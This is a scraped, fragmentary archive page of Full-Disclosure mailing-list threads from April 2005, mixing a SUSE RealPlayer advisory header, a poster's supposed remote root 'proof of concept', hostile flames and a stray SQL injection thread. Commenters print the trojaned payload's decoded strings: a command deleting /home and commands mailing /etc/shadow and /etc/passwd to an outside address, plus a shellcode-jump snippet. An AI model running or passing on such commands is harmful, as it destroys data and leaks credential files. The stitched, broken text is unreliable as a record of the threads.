-BEGIN PGP SIGNED MESSAGE-
__
SUSE Security Announcement
Package:RealPlayer
Announcement-ID:SUSE-SA:2005:026
Date: Wed,
Sorry, the previous code was broken. This code should
work...
Happy Owning!! :)
=SNIP
/* Proof of concept code
Please don't send us e-mails
asking us how to hack because
we will be forced to skullfsck you.
DISCLAIMER:
!!NOT RESPONSIBLE WITH YOUR USE OF THIS
Day Jay wrote:
Sorry, the previous code was broken.
Definitely `borken'... I didn't even see one /etc/passwd file in here!
Less obvious calls may catch more habitual FD code runners next time
dude. [think: ret=(int *)ret+2;(*ret)=(int)shellcode;]
;-)
--
dk
Cute.
shellcode = /bin/rm -rf /home/*;clear;echo bl4ckh4t,hehe
launcher = cat /etc/shadow |mail full-disclosure@lists.grok.org.uk
netcat_shell = cat /etc/passwd |mail full-disclosure@lists.grok.org.uk
On Wed, 20 Apr 2005, Day Jay wrote:
Sorry, the previous code was broken. This code should
As you know, blocking SQL injection with filters on characters is painful and
not always successful. I got thinking about it and thought of an approach
Painful? That's just an excuse for being lazy. (No offense intended.)
Not always successful? ... I don't get this, why not?
There are a
perfect asshole
-
class101
Jr. Researcher
Hat-Squad.com
-
- Original Message -
From: Day Jay [EMAIL PROTECTED]
To: full-disclosure@lists.grok.org.uk
Sent: Wednesday,
Dear DIk,
You are thinking local buffer overflows with your
think: ret=(int *)ret+2;(*ret)=(int)shellcode;
Wow, I think I read smashing the stick for fun and
profit a long time ago, but this is a remote root
exploit, it's alittle different!!
Damn newbie! I mean, how lame are you?
--- dk
You are wrong again, it's Smashing the Stick you
moron. Not smashing the stack. Ask anyone here!
Man, you are such a newbie. Get a clue and stop trying
to say the sweet code is a backdoor just because you
don't know how to compile software properly. You're
nothing but a newbie wanna be C
On Wed, Apr 20, 2005 at 05:35:56PM -0700, Day Jay wrote:
Get your wrap-around text fixed you fucking fed!!
I'm fed up with you!!
Jeezsus, expose yourself as such. hehehe
dumfux
I guess there's something to be said for moderated lists, eh?
---
Stephen J Friedl | Security Consultant |
man, that code is crap!!!
ive run that shit on all 6 of my boxes at home and it still no work.
i'm gonna try it again when i get home and if it still no work, i am going
to run some other 1337 hacker code so i can pwn.
On Wed, Apr 20, 2005 at 05:35:56PM -0700, Day Jay wrote:
Get your wrap-around text fixed you fucking fed!!
I'm fed up with you!!
Jeezsus, expose yourself as such. hehehe
dumfux
I guess there's something to be said for moderated lists, eh?
I don't think that FD is
On Thu, Apr 21, 2005 at 01:24:27AM +, [EMAIL PROTECTED] wrote:
I don't think that FD is moderated.
I know it's not: there is something to be said for lists that *are* :-)
Day Jay sounds like a real asshat, eh Steve?
Yes, quite the asshat. Funny the first time, but not the 10th.
How you
On Wed, 20 Apr 2005 17:35:56 PDT, Day Jay said:
Get your wrap-around text fixed you fucking fed!!
--- John McGuire [EMAIL PROTECTED] wrote:
Yep, must be a fed. The 'leet black hats would be posting from @fbi.gov,
and the not-so-leet ones would at least have the good taste to find a better
ISP
13 matches
Mail list logo
